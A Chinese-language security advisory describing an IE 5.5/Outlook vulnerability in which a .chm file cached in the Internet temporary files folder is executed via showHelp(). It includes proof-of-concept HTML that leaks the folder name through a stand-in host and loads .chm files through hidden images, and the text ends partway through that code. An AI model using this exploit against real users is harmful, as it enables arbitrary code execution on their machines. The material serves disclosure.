IE 5.x/Outlook可通过.chm文件和Internet临时文件目录执行任意程序

IE 5.x/Outlook可通过.chm文件和Internet临时文件目录执行任意程序(1)

　　受影响的系统: 
　　IE 5.5/Outlook/Outlook EXPress（其它版本也很有可能）

　　描述:

　　在IE 5.5/Outlook/Outlook Express中存在一个安全漏洞，它允许通过.chm文件执行任意程序并泄漏Internet临时文件目录的位置。这可能会导致对用户机器的完全控制。

　　Georgi Guninski早些时候曾向微软报告过一个类似的关于.chm文件的漏洞，微软采用如下的方法解决了该问题：只有当.chm文件是从本地文件系统中加载时才允许.chm文件执行程序。但是还是有可能找到Internet临时文件目录，这样的目录有几个，并且名字是随机的。

　　下面的HTML代码将通过document.URL泄漏一个Internet临时文件目录的名字： 
　　<OBJECT DATA="http://SOMEHOST.COM/chmtemp.html"; TYPE="text/html"
WIDTH=200 HEIGHT=200>

　　其中SOMEHOST.COM是与存放该HTML文件的web服务器不同的一个服务器或者别名。一旦知道了Internet临时文件目录的名字，就可能在任何Internet临时文件目录中缓存一个.chm文件，然后使用window.showHelp( )执行它。

　　知道了Internet临时文件目录的名字并缓存了文档的情况下，还存在其它方法来执行程序，但是showHelp( )似乎是最简单的方法。

　　如果下面的演示不起作用，请稍等，刷新该页面或者增加
<IMG>
和showHelp( )中的“chm*.chm”的数目，或者增加等待时间以便有足够的时间来下载chm文件。

　　代码如下： 
---------chmtempmain.html------------------------------------------
<IMG SRC="chm1.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm2.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm3.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm4.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm5.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm6.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm7.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm8.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm9.chm" WIDTH=1 HEIGHT=1>
<IMG SRC="chm10.chm" WIDTH=1 HEIGHT=1>